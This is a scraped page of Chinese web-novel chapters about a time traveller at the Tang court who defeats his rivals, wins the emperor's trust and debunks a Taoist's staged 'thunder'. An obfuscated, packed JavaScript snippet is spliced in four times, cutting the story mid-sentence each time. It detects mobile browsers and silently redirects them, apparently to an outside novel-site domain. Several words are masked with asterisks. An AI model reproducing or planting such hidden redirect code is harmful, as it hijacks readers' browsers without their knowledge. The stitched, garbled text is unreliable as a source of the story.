;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391641|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林浩!"太子重新燃起斗志,”既然舅父手持太上皇金牌,说明太上皇早已洞悉此事真相!舅父必是清白的!你竟敢违抗太上皇的意思,将清白之人关入囚车,这才是真正的大逆不道!"
就在太子进退维谷之际,远处传来一阵马蹄声。
一队宫中护卫快马而至,为首的正是太监魏进。
“陛下口谕!”
所有人立刻跪倒在地,包括太子李承乾也不得不下马跪拜。
太监正是魏进,他翻身下马,宣读口谕:“长孙无忌案情重大,着大理寺、刑部、御史台三司会审。林浩、长乐公主即刻入宫面圣。”
口谕一出,所有的争论都戛然而止。
太子李承乾脸色煞白,他万万没想到父皇会直接传下口谕,将此案交给三司会审。
长孙无忌在囚车里更是面如死灰。
三司会审,那可是朝廷最高级别的审判程序,一旦定罪,几乎没有翻盘的可能。
“臣遵旨。”林浩起身,朝魏进行礼。
“林侯爷,公主殿下,请随奴才入宫。”魏进做了个请的手势。
林浩点点头,转身上了马车。
李丽质也跟着上车,两人的护卫则继续押送囚车。
太子李承乾站在原地,看着林浩的马车渐渐远去,拳头握得咯咯作响。
詹事王珪走到太子身边,压低声音说道:“殿下,陛下这是......”
“父皇这是在警告孤。”太子咬牙说道,“孤刚才的举动,触犯了他的忌讳。”
王珪不敢再说话,只是默默地跟在太子身后。
马车里,李丽质看着林浩,佩服得五体投地。
“你刚才那一手太厉害了。用孝道和祖制压制太子,让他根本无法反驳。”
“太子太急了。”林浩摇摇头,“长孙无忌的那封**,让他失去了理智。结果反而暴露了自己的意图。”
“现在父皇亲下口谕,三司会审,长孙无忌这次真的完了。”李丽质说道。
就在这时,魏进悄悄凑到马车边,塞给林浩一张纸条。
“这是陛下的意思。”魏进压低声音说道。
林浩接过纸条,展开一看,脸色瞬间变得凝重。
第74章:降维打击爽翻天,反派秒变小丑
朱雀门外的闹剧,以一道口谕宣告终结。
林浩与李丽质的马车在宫中禁卫的引导下,缓缓驶过层层宫门。
刚才还剑拔**张的太子李承乾,此刻只能眼睁睁看着囚车被大理寺的人马接管,自己则一脸铁青地跟在后面。
同样是入宫,心境却已是天壤之别。
太极殿内,气氛凝重如铁。
文武百官分列两侧,鸦雀无声。
龙椅上的李世民面沉如水,看不出喜怒。
林浩跟着李丽质踏进殿门的瞬间,就看到地上扔着一封展开的密信。
信纸泛黄,上面的字迹工整,看起来像是官方文书。
“林浩!”李世民的声音在殿内回荡,“你看看这是什么!”
林浩弯腰捡起密信,扫了一眼内容,差点笑出声来。
信上写的是他与吐谷浑信使密谋,准备割据凉州的计划。
上面的内容详尽到可笑,连他“密谋割据凉州”后的年号都给想好了。
真是个人才。
林浩忍住心中笑意,不紧不慢地说道:“启禀陛下,这确实是一封密信。”
“只是臣不知道,什么时候臣与吐谷浑有了如此深厚的友谊。”
话音刚落,太子李承乾从殿侧走出,身后跟着几名五花大绑的吐谷浑降兵。
“父皇!”太子高声说道,“儿臣已经找到了人证!这几名吐谷浑俘虏,亲口承认曾与林浩密谋!”
为首的吐谷浑人战战兢兢地跪在地上,用蹩脚的汉话说道:“大......大唐皇帝,小人确实见过这个林浩,他......他说要与我们合作,一起对付大唐!”
殿内瞬间哗然。
“什么?林浩勾结外敌?“
“这可是通敌叛国的大罪!“
“怪不得凉州会出这么大的乱子!“
“胡说八道!“林浩还没说话,李丽质就忍不住了,“父皇明鉴,林浩在凉州的一举一动都有记录,何曾与吐谷浑有过接触?“
“长乐公主此言差矣!“**的詹事王珪站出来,手持一卷文书,“这位林都督在凉州的所作所为,确实都有记录。正是这些记录,暴露了他的真面目!“
王珪展开文书,朗声念道:“据凉州各部密报,林浩在任期间,大量采购生铁、硝石等军用物资,数量远超防务所需。这些物资的去向,至今成谜!“
“更有甚者!“另一名大臣接过话头,“林浩在凉州大兴土木,修建了大量用途不明的工坊。这些工坊戒备森严,外人不得入内。谁知道里面在制造什么?“
太子趁热打铁:“父皇,儿臣怀疑,林浩在凉州图谋不轨,意欲割据一方!这些工坊很可能就是他的兵工厂!“
殿内的议论声越来越大。
关陇集团的大臣们纷纷附和,形成了一股强大的**攻势。
就在这时,一个声音如雷贯耳:“住口!“
所有人都转过头,说话的竟然是以刚正闻名的太子詹事魏征。
魏征缓缓走出列班,朝林浩拱手:“林都督,老夫有几个问题,还请如实回答。“
魏征在朝中的地位超然,连太子都要给他几分面子。
他的发问,比**的指控更有杀伤力。
“魏大人请讲。“林浩心中明白,真正的考验来了。
“第一问!“魏征声如洪钟,“你在凉州期间,确实采购了大量军用物资,这些物资现在何处?“
“第二问!你修建的那些工坊,究竟在制造什么?为何要如此神秘?“
“第三问!“魏征的声音越来越严厉,“你治下的凉州,税收暴增,牧民归化,这种违背常理的政绩,是如何做到的?该不会真的使用了什么妖术邪法?“
每一个问题都直击要害,每一句话都如刀子般锋利。
马周见状,连忙出列为林浩辩护:“陛下,微臣曾奉旨前往凉州查验,林都督在当地的所作所为,都是为了大唐的江山社稷!“
“马大人!“太子冷笑一声,“听说你在凉州期间,曾经当众焚烧过陛下的密旨?“
马周脸色一变。
“这件事,你如何解释?“
王珪趁机发难,“身为朝廷命官,竟敢焚烧圣旨,你还有什么资格为他人作证?“
马周张了张嘴,却说不出话来。
眼看局面越来越被动,林浩终于开口了。
“诸位大人的质疑,林某都能理解。“
林浩的声音平静如水,“不过在回答这些问题之前,臣想先向陛下呈献几样东西。“
李世民端**,沉默半晌才点头:“准奏。“
林浩从怀中取出三份卷宗,交给宦官呈递给皇帝。
“这是凉州的三份账本。第一份是财政报告,第二份是军备清单,第三份是民生统计。“
李世民接过卷宗,随手翻开第一份。
当他看到第一页的数字时,整个人都愣住了。
“这......这是真的?“李世民声音都在颤抖。
户部尚书唐俭听到皇帝的惊呼,忍不住问道:“陛下,何事如此震惊?“
李世民将账本递给唐俭:“你自己看。“
唐俭接过账本,看到第一行数字时,差点没把账本掉在地上。
“这不可能!凉州的税收怎么可能比去年增长三倍?!“
三倍!
殿内瞬间炸开了锅。
凉州本来就是穷苦之地,税收一直是朝廷的心病。
一年增长三倍,这简直是天方夜谭!
“一定是账目**!“**立刻质疑,“为了掩盖通敌叛国的罪行,什么手段都用得出来!“
林浩不紧不慢地从袖中又取出一个小包裹。
“既然诸位不信账目,那就请看看这个。“
包裹打开,里面是几个精巧的金属零件。
“这是什么?“李世民好奇地问。
“回陛下,这是臣在凉州研制的新式武器配件。“
林浩拿起其中一个弓臂模块,“此物名为**臂,配合特制箭簇,可大幅提升神臂弓的威力。“
兵部尚书李靖闻言精神一振:“哦?有何奇特之处?“
林浩将弓臂模块递给李靖:“李大人请看,此弓臂采用分层复合结构,外层为竹片,内层为钢丝,中间填充特制胶料。制作工艺标准化,成本仅为传统神臂弓的三成,但威力提升五成。“
李靖仔细端详着手中的弓臂,越看越震惊。
“巧夺天工!这种设计理念,闻所未闻!“
“光说不练假把式!“**中立刻有人跳出来,“区区小物件,也敢夸下海口?“
“就是!神臂弓的威力早已定型,岂是随便改改就能提升的?“
“若是不信,大可一试。“林浩淡淡一笑,“不过测试目标,就按诸位的意思来定吧。“
太子李承乾眼珠一转,计上心头:“既然要测试,就测试最强的靶子!来人,取玄甲军的三层重甲来!“
三层重甲!
那可是大唐最强的防护装备,连床**都未必能射穿,更别说神臂弓了。
太子这明摆着是要让林浩难看。
“殿下考虑周全。“林浩点头赞许,“三层重甲确实是最好的测试目标。“
不多时,宦官抬来一副完整的三层重甲,架在殿前。
林浩从包裹中取出一支黑色的箭簇,箭头闪着金属光泽。
“此乃钨钢破甲箭簇,专为重甲而制。“
钨钢?
殿内所有人都没听过这个词。
林浩将箭簇装上弓臂,拉弦瞄准。
弓弦震颤,箭簇破空而出。
下一秒,所有人都傻眼了。
三层重甲的胸甲部位,出现了一个整齐的圆洞。
箭簇悄无声息地贯穿了三层铁甲,连后面的木架都射穿了。
寂静。
死一般的寂静。
魏征走到重甲前,用手指抚摸着那个圆洞,久久不语。
良久,他才转身面向李世民,深深躬身:“陛下,能造出此等利器者,若心怀不轨,何须与吐谷浑密谋?臣......或有偏听。“
魏征的话如重锤敲击,殿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391642|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
内瞬间死寂。
刚才还在慷慨激昂声讨林浩的大臣们,此刻都低着头不敢言语。
连太子李承乾的脸色都变得铁青,拳头握得咯咯作响。
确实,能造出如此神兵利器的人,若真心反叛,何须与吐谷浑这种小国密谋?
直接起兵**岂不是更直接?
林浩看着殿内众人的表情变化,心中暗爽。
这就是降维打击的威力。
用超越时代的技术碾压,比任何辩解都有说服力。
“陛下,”林浩见时机成熟,从怀中又掏出了一份文书,“臣还有一事要禀。”
御座上的李世民龙颜大悦,刚刚的演示让他看到了大唐未来的无限可能。
他饶有兴致地一抬手,笑道:“讲!林爱卿今日屡献奇功,无论何事,朕都听着!”
皇帝金口一开,众臣更是屏息凝神,想看看这个年轻人还能拿出什么惊世之物。
不料,林浩脸上的轻松之色瞬间敛去,神情变得无比凝重。
他高举手中那卷文书,声音沉重:“臣接下来要奏之事,无关技术,只关忠奸!它关系到我大唐国本,更关系到我大唐最精锐之师的存亡!”
“这是长孙无忌在凉州的完整罪证,包括他指使下属用**,暗中**、意图废掉我整整三万玄甲军的详细口供!”
轰!
这句话如惊雷炸响,殿内所有人都愣住了。
毒害玄甲军?这与谋反何异?这同样是灭门九族的大罪!
一名武将忍不住失声吼道:“你说什么?玄甲军……玄甲军不是在凉州戍边安好吗?”
“安好?”林浩冷笑一声,眼中带着悲愤,“他们没有战死沙场,却在一个月内不明不白地倒下近半!军医束手无策,军心浮动!若非臣恰好识得此毒,不出三月,三万玄甲军将彻底沦为一群手无缚鸡之力的废人!届时,我大唐边防洞开,国将不国!”
此言一出,整个大殿顿时死寂一片。
“胡说八道!”太子终于从震惊中反应过来,立马急了,“林浩!你竟敢血口喷人!舅父忠心耿耿,怎么可能做出如此天理不容的事情!”
“是否血口喷人,陛下一看便知。”林浩将文书呈递给宦官。
随着李世民翻阅的深入,他的脸色越来越难看:“这些信件……”
“都是从长孙无忌的私人府邸中搜出的。”
林浩补充道,“另外还有他与吐谷浑密使的会面记录,以及收**赂的账目清单。”
太子听到这话,整个人都快疯了。
“不可能!绝对不可能!”
太子大声喊道,“这些一定是伪造的!林浩!你为了脱罪,竟然伪造证据陷害忠良!”
“伪造?”林浩笑了,“殿下觉得臣有这个本事?”
说着,林浩又从袖中掏出几枚印章。
“这是从长孙府中搜出的各种私印,包括他与吐谷浑通信专用的密印。陛下可命人对比文书上的印迹,看看是否为同一枚印章所盖。”
李世民接过印章,神色凝重。
他亲自将印章与文书逐一对比,太极殿内鸦雀无声,只听得见皇帝略显急促的呼吸声。
片刻后,李世民的手微微颤抖。
印迹完全吻合!
那个从小与他一起在宫中嬉戏、一起征战天下的长孙无忌,竟真的......
“退朝!“李世民猛然起身,声音如雷贯耳,“所有人,立刻退朝!“
文武百官面面相觑,但无人敢多言,纷纷躬身退出太极殿。
偌大的殿内,很快只剩下李世民、林浩、李丽质和太子李承乾。
李世民从龙椅上站起身,走到林浩面前,仔细打量着这个年轻人。
“林浩,朕问你,你在凉州,到底还藏了多少秘密?”
“跟朕去甘露殿。”李世民挥手说道,“朕想知道,你的凉州,到底还能变出多少神迹。”
更让林浩在意的是,当这几个方士与太子李承乾擦肩而过时,他们交换了一个极其隐晦的眼神。
第75章:摊牌了,你的江山我帮你稳
甘露殿外,烛火通明,将汉白玉的台阶映照得一片雪白。
太子李承乾被两名金甲禁卫拦在殿门前,手臂粗的门闩横亘在他与殿门之间。
“父皇,儿臣也想听听林浩的解释,此事关乎国体,儿臣身为储君……”
李承乾焦急地向前一步,试图分辩。
“滚回去!”
殿内,李世民的声音隔着厚重的门板传出。
李承乾整个人僵在原地,脸上一阵红一阵白。
他身后的詹事王珪和几名东宫属官,更是吓得头都不敢抬。
那两名禁卫听到命令,“锵”的一声,腰间的横刀出鞘半寸,冰冷的刀光晃了李承乾的眼。
这已经不是阻拦,而是警告。
在自己父皇的殿门前,被普通的禁卫用刀指着......
李承乾死死攥着手,转身拂袖,一言不发地快步离去。
……
甘露殿内。
所有宦官和宫女都已被屏退,只剩下袅袅升腾的龙涎香,在空气中拉出一缕缕若有若无的白烟。
李世民背着手,在殿内来回踱步。
殿内的金砖地面被他厚重的朝靴踩得发出轻微而有节奏的“咯、咯”声。
林浩垂手而立,身姿笔挺,眼观鼻鼻观心。
终于,李世民停下了脚步。
“林浩,你觉得,朕是个什么样的皇帝?”
问题来得如此突兀,又如此致命。
李丽质的心一下子提到了嗓子眼,她下意识地看向林浩,手心已经渗出了细汗。
“陛下乃开创盛世之君,臣不敢妄议。”
林浩的回答四平八稳,是任何一个臣子都会给出的标准答案。
“盛世之君?”李世民终于转过身,脸上带着一抹似笑非笑的神情,“杀兄、囚父,这也算?”
玄武门之变!
这四个字像一道惊雷在李丽质脑中炸响,她的脸瞬间失了血色。
父皇……他怎么会对外人主动提起这件事?
林浩也感觉到一股寒意从脚底直冲天灵盖。
这是诛心之问。
皇帝在用自己最大的**污点和内心隐痛来做试探,任何一句**的谄媚之言,都会被瞬间识破,并被贴上“虚伪”的标签,继而万劫不复。
他必须说真话,但又不能是冒犯的真话。
林浩沉默了片刻,整理着思绪,然后才重新抬起头:“回陛下,臣以为,成大事者,不计小节。若无陛下当年的雷霆手段,便无今日的大唐天下。百姓安居,四海升平,这便是对当年之事最好的诠释。”
“雷霆手段?”李世民逼近一步,“你当真这么想?”
林浩没有后退。
在这一刻,任何的退缩都会被视为心虚:“陛下,臣在凉州所做之事,与陛下当年所面临的处境,并无本质不同。”
这句话一出口,李世民的表情凝固了。
李丽质更是惊得差点叫出声来。
林浩他疯了吗?他怎么敢拿自己跟父皇的玄武门之变相提并论!
“哦?”
李世民缓缓拉开了一点距离,重新审视着眼前的年轻人,“说来听听,你有何相同之处?”
“长孙无忌欲以阴毒之计,废掉三万玄甲军,断陛下臂膀,此事若成,臣必死无疑,大唐边防亦将洞开。面对此局,臣若坐以待毙,便是愚忠,更是对大唐不忠。”
“所以,臣选择先发制人。要么坐着等死,要么站起来求活。臣的选择关乎凉州安危,而陛下的选择,关乎天下社稷。道理,是同一个。”
先发制人……
李世民咀嚼着这四个字,殿内的气氛变得微妙起来。
他没想到,林浩会用这样一种方式,来理解甚至“共情”他当年那场不光彩的政变。
这小子,是在向自己剖白,也是在给自己找一个最坚实的靠山——皇帝本人。
“说得好,说得很好。”
李世民忽然转身,又走回那副巨大的疆域图前,“那你觉得,朕现在,该如何处置你?”
问题又绕了回来,但这一次,性质已经完全不同。
“陛下若想杀臣,在朱雀门外,臣已经**。在大殿之上,臣也已经**。”
林浩坦然作答,“陛下留臣至此,还屏退左右,说明臣对陛下,还有用。”
“价值何在?”
“臣脑中的新学,可为大唐造出更多的神兵利器,可让大唐的粮仓年年丰满。但这些,都只是‘术’。”
林浩顿了顿,抛出了真正的核心,“臣最大的价值,是能帮陛下,解决一个心腹大患。”
李世民猛地回头:“谁?”
“关陇集团。”
林浩平静地吐出这四个字。
殿内瞬间落针可闻。
关陇集团,这个从北周、隋朝一直延续到大唐的庞大军事贵族集团,他们是开国的功臣,也是皇权最大的掣肘。
长孙无忌,正是他们的领袖。
“你好大的胆子。”李世民的声音听不出喜怒。
“陛下,臣斗胆一问。”林浩不退反进,“若此次长孙无忌真的得手,三万玄甲军沦为废人,谁是最大的受益者?”
“玄甲军是陛下的亲军,是天下最精锐的骑兵,更是陛下用来平衡朝堂,威慑所有门阀世家的最后一张底牌。”林浩的声音在空旷的大殿中回响,“这张牌若是废了,朝堂之上,还有谁的声音,能盖过他们?届时,太子还是不是陛下的太子,恐怕都未可知。”
最后一句话,如同一把尖刀,精准地刺入了李世民的心脏。
他最担心的,就是太子李承乾与关陇集团走得太近,早已有了尾大不掉之势。
李世民的脸色变得阴晴不定:“那你以为,朕该如何?”
“陛下需要一股全新的力量。”
林浩说出了自己的最终目的,“一股不依附于任何门阀,只忠于陛下,忠于大唐的新生力量。”
“比如?”
“比如,皇家科学院。”
林浩一字一顿,“以新学格物之术,培养陛下自己的门生。以层出不穷的新式农具、工具、利器,来掌握经济和军事的命脉。用新贵,来制衡旧贵。”
李世民的呼吸陡然急促起来:“你想让朕,与满朝的功臣勋贵为敌?”
“不是为敌,是制衡。”
林浩纠正道,“陛下,任何一股力量,一旦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391643|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
失去制衡,都将成为皇权的威胁。今日是关陇集团,他日,或许就是臣林浩。”
这句话,让李世民彻底愣住了。
他死死地盯着林浩,似乎想从他脸上找出一丝一毫的伪装。
可林浩的表情坦荡得让他心惊。
“你不怕朕真的制衡你?”
“臣,求之不得。”林浩笑了,笑得无比真诚,“陛下,臣只想安安稳稳地做些学问,顺便为大唐添砖加瓦。臣最怕的,不是陛下的猜忌,而是陛下的过度信重。因为那会让臣,成为下一个长孙无忌。”
李世民怔怔地看着他,良久,忽然放声大笑起来。
“哈哈哈哈……好!好一个求之不得!”
笑声在殿内回荡,充满了酣畅淋漓的快意。
一个有经天纬地之才,却又主动要求被套上枷锁的臣子,还有什么不放心的?
“皇家科学院,朕准了!”李世民走到林浩面前,重重地拍了拍他的肩膀,“你来做首座,需要什么,人、财、物,朕都给你!”
“谢陛下!”
“不过……”李世民话锋一转,“朕要派个人,监督你。”
“臣遵旨。”
“就让长乐做这个监事吧。”李世民看向自己的女儿,“朕的掌上明珠,替朕看着你,朕才放心。”
李丽质一愣,随即脸颊泛起红晕,她没想到,自己竟以这种方式,和林浩绑在了一起。
“公主殿下聪慧贤明,臣,心悦诚服。”林浩躬身行礼。
李世民满意地点点头,他走到疆域图前,豪情万丈地虚空一指。
“林浩,朕要你的科学院,十年之内,让朕的大唐,再无饥馑!二十年之内,让朕的兵锋,所指之处,皆为王土!”
“臣,领旨!”
……
与此同时,东宫。
“砰!”
一只前朝的青瓷花瓶被狠狠地掼在地上,碎裂声刺耳。
李承乾双目赤红,像一头被困在笼中的野兽,在殿内疯狂地发泄着怒火。书案被他一脚踹翻,笔墨纸砚散落一地。
“孤绝不认输!绝不!”
詹事王珪缩在角落里,吓得瑟瑟发抖,连大气都不敢出。
就在这时,一个幽幽的声音从殿内的阴影处传来,平静得有些诡异。
“殿下,怒火烧不掉您的敌人,只会烧伤您自己。”
王珪吓了一跳,循声望去,只见一名身穿八卦道袍的老者,不知何时竟已站在殿中。
他须发皆白,手持拂尘,在这片狼藉之中,显得格格不入。
“你是何人?!”李承乾停下动作,警惕地盯着这个不速之客。
老道士微微躬身,行了一礼:“贫道玄机子。特为殿下,献破敌之策。”
李承乾喘着粗气,死死盯着他:“你有何策?”
玄机子漏出神秘的笑容,缓缓说道:“殿下可知,那林浩所倚仗的,并非什么新学,而是早已被世人唾弃的……墨家妖术。”
“妖术?”李承乾一怔。
“正是。”玄机子压低了声音,一字一句地开口,“贫道有办法,让天下人都相信,他林浩,是个会用妖术惑乱人心的……妖人。”
第77章:广场斗法,你的天雷迷路了?
退朝的钟声刚响,一股暗流就在长安城中涌动起来。
隔天清晨,一种名为《京城快报》的小册子,如同雨后春笋般出现在长安的街头巷尾。
这些册子用最粗糙的纸张和油墨印制,字迹歪歪扭扭,却以最快的速度传播着一个惊天动地的消息。
“号外号外!妖星还是祥瑞?三日后朱雀门广场,凉州侯林浩与得道高人当众斗法!”
“天雷对白虹!一场关乎大唐国运的惊天对决!”
小册子上的标题耸人听闻,内容更是将朝堂上的争议,用最通俗易懂的语言描绘成了一场神仙打架。
上面详细预告了,三日后,太子请来的高人将在朱雀门广场引来“天雷”,以证林浩乃妖星降世。
而凉州侯林浩,则要当众召来“白虹贯日”的祥瑞,自证清白。
迷信叙事被硬生生拉到了一个公开对决的擂台上。整个长安城瞬间被引爆了。
从贩夫走卒到王公贵族,所有人都在议论这件事。林浩的名字,一夜之间传遍了长安的每一个角落。
东宫。
“混账!”李承乾将一本《京城快报》狠狠摔在地上,气得浑身发抖,“他这是在找死!竟敢将此事闹得人尽皆知!”
玄机子站在一旁,脸上却带着得意的笑容:“殿下息怒。这林浩看似聪明,实则愚蠢至极。他将事情闹得越大,死得就越惨。当着全城百姓的面被天雷劈中,他将永世不得翻身。”
王珪也附和道:“是啊殿下,他这是自掘坟墓。等他身败名裂,陛下也保不住他。”
李承乾听到这里,怒气稍减,转而化为狰狞的冷笑:“说得对!孤要让他死在万众瞩目之下!玄机子,你的‘天雷子’准备得如何了?”
“殿下放心,贫道已经加大了药量。”玄机子眼中闪过一丝狠厉,“别说是劈死一个人,就是炸塌一堵墙也绰绰有余。届时贫道只需略施法术,引爆天雷子,一切便大功告成!”
“好!非常好!”李承乾大笑起来,“孤倒要看看,他拿什么来召‘白虹贯日’!简直是天大的笑话!”
三日时间,转瞬即逝。
斗法当日,朱雀门广场早已是人山人海,黑压压的人头一眼望不到边。
百姓们伸长了脖子,翘首以盼。
维持秩序的禁军被挤得东倒西歪,若非有性命之忧,恐怕早已被这汹涌的人潮吞没。
广场北侧临时搭建起了一座高台,正对着朱雀门城楼。
李世民与文武百官早已在城楼上就座,太子李承乾侍立在侧,脸上挂着抑制不住的兴奋。
午时三刻,吉时已到。
玄机子一身青色道袍,手持桃木剑,在万众瞩目之下,飘然登台。
他先是煞有介事地摆开法坛,点燃符纸,口中念念有词,随即开始手舞足蹈,状若疯魔。
台下的百姓看得目不转睛,大气都不敢喘。
然而,一炷香的时间过去了,天上除了几朵慢悠悠飘过的白云,什么动静都没有。
玄机子的额头开始渗出细汗,他的动作越来越夸张,口中的咒语也越念越响,可天空依旧平静如常。
人群中开始出现窃窃私语。
“怎么回事?说好的天雷呢?”
“该不会是骗子吧?”
城楼上的李世民也皱起了眉头。
玄机子心中暗骂,埋设“天雷子”的人怎么还不动手!
他一边继续作法拖延时间,一边频频向太子所在的方向使眼色。
就在这时,林浩不紧不慢地走上了高台。
他没有携带任何法器,手中只托着一个用黑布包裹的古怪物件。
“道长,你这雷,是不是迷路了?”林浩的声音不大,却清晰地传遍了整个广场。
人群中爆发出一阵哄笑。
玄机子老脸一红,强自镇定:“妖人休得猖狂!天谴岂是儿戏!时辰一到,必叫你灰飞烟灭!”
“是吗?”林浩淡淡一笑,“既然你的雷迟迟不来,不如先看看我的‘白虹’吧。”
说着,他扯下黑布,露出里面一个巨大的三棱水晶。
此物晶莹剔透,在阳光下折射出奇异的光芒。
百姓们何曾见过如此巨大的水晶,纷纷发出惊叹之声。
林浩托着三棱水晶,缓缓转动,调整着角度。
下一刻,奇迹发生了。
一道绚丽的七色彩虹,猛然从水晶中射出,如同一座天桥,横跨整个朱雀门广场,精准无比地投射在了远处太极殿的金顶之上!
赤、橙、黄、绿、青、蓝、紫,七色分明,光华流转,如梦似幻。
整个广场瞬间陷入了死一般的寂静,随即爆发出山呼海啸般的狂呼!
“祥瑞!是祥瑞啊!”
“白虹贯日!不,这是七色
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391645|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
彩虹啊!神迹!真正的神迹!”
“凉州侯是神仙下凡!”
百姓们激动得不能自已,纷纷跪倒在地,朝着那道彩虹叩拜。
他们由最初的震惊,转为无与伦比的狂喜与崇敬。
城楼之上,所有人都站了起来。
李世民死死地盯着那道人为制造出的彩虹,手掌因为用力而微微颤抖。
他看到的不是祥瑞,而是一种前所未有的力量!
一种可以创造“神迹”,可以操控人心的力量!
他的目光从彩虹移到林浩身上,充满了震撼与狂热。
太子李承乾和玄机子则面如死灰,身体摇摇欲坠,嘴巴张得能塞下一个鸡蛋。
“不……不可能……这怎么可能……”玄机子喃喃自语,彻底傻了。
高台上,林浩收起三棱水晶,彩虹瞬间消失。
他面向激动的百姓,朗声说道:“诸位乡亲,世间本无鬼神!所谓天雷,不过是硫磺、硝石、木炭混合之后的爆燃。所谓白虹,也不过是日光穿过晶石之后的光影变幻。万事万物,皆有其理可循!”
为了印证自己的话,林浩从怀中取出三个小纸包,里面分别装着早已准备好的硫磺、硝室和木炭粉末。
他当着所有人的面,将三者混合在一起,倒在地上,然后用火折子远远一点。
“轰!”
一团火光猛然爆开,伴随着一声巨响和滚滚浓烟。
虽然威力不大,但那刺鼻的气味和**的声势,与传说中的“天雷”何其相似!
真相大白!
“骗子!那个道士是骗子!”
“他要用这东西害死凉州侯!”
“打死这个妖道!”
不等皇帝下令,愤怒的百姓已经如同潮水般涌向高台。
守卫的禁军也被眼前的一幕惊呆了,反应过来时,玄机子和他那几个装神弄鬼的徒弟,已经被愤怒的民众团团围住,拳脚相加。
林浩凭借一场精彩绝伦的科学秀,当众粉碎了天谴的谣言,彻底逆转了局势,赢得了民心与皇帝无以复加的赞赏。
混乱中,玄机子被禁军从人群中拖了出来,披头散发,狼狈不堪。
在被押解经过林浩身边时,他突然停住脚步,抬起那张满是血污的脸,对着林浩诡异一笑,用只有两人能听见的声音低语道:
“天机阁的礼物,才刚刚开始。”
第78章:玄机子死,天机阁的线索断了
朱雀门广场上的狂热,并未因彩虹的消失而有半分减退。
“仙师!凉州侯是仙师!”
“神迹!我亲眼看到了神迹!”
人群像是沸腾的开水,无数百姓激动得满脸通红,拼命地向高台方向涌来,试图离那位创造奇迹的年轻侯爷更近一些。
若非禁军拼死组成人墙,林浩恐怕早已被这山呼海啸般的热情所吞没。
城楼之上,太子李承乾面如白纸,身体止不住地颤抖。
李世民站在最高处,扶着城墙的手背上青筋毕露。
他看到的不是祥瑞,而是一种能将“祥瑞”**于股掌之中的力量。
一种足以颠覆认知,操控人心的力量!
“陛下……”旁边的魏公公小声提醒。
李世民深吸一口气,压下胸中的波涛,往前一步,声音如洪钟般响彻整个广场:
“肃静!”
帝王之威瞬间笼罩全场,沸腾的人群立刻安静下来。
李世民目光扫过全场,最终定格在高台上的林浩身上,朗声道:“凉州侯林浩,以格物之法,证自身清白,破妖道谎言,有功!至于妖道玄机子及其同党,妖言惑众,图谋不轨,给朕拿下,交大理寺严审,务必查清其背后所有牵扯!”
“太子李承乾,身为储君,不辨是非,为奸人所惑,险酿大错!愚不可及!即刻返回东宫,闭门思过,无朕旨意,不得外出!”
“父皇!”李承乾噗通一声跪倒在地,面露哀求。
“拖下去!”李世民没有半分留情。
两名禁军统领上前,一左一右,架起失魂落魄的太子,在万众瞩目之下,狼狈地带离了城楼。
这一刻,所有人都明白,东宫的天,塌了。
最后,李世民的目光再次回到林浩身上,语气中带着前所未有的郑重:“林浩所奏皇家科学院,朕准了!即刻起,由林浩出任首任祭酒,全权负责筹建事宜!所需钱粮人手,皆由国库拨付!”
此言一出,满朝皆惊。
这已经不是赏赐,而是赋予了无法想象的信任与权力!
……
甘露殿。
熏香袅袅,殿内安静得能听见彼此的呼吸声。
李世民屏退了所有下人,只留下林浩一人。
他亲自倒了一杯茶,递到林浩面前:“跟朕说说什么是格物致知。”
“格物,是探究万物运行的规律。比如水为什么会流,火为什么会烧,太阳光为什么能变成彩虹。”
林浩平静地看着李世民,“而致知,则是掌握并运用这些规律。百姓不懂光的折射,所以视彩虹为神迹。若有一天,人人皆知其理,神迹便不再是神迹,而是常识。”
“陛下,知识,才是世间最强大的力量。它能开山辟路,能富国强兵,更能开启民智,让大唐江山万世永固。”
李世民沉默了。
他摩挲着茶杯的边缘,眼中光芒变幻不定。
许久,他才缓缓开口:“那个妖道玄机子,你有什么看法?”
“此人背后必有指使。”林浩放下茶杯,“臣请亲自审问此人。”
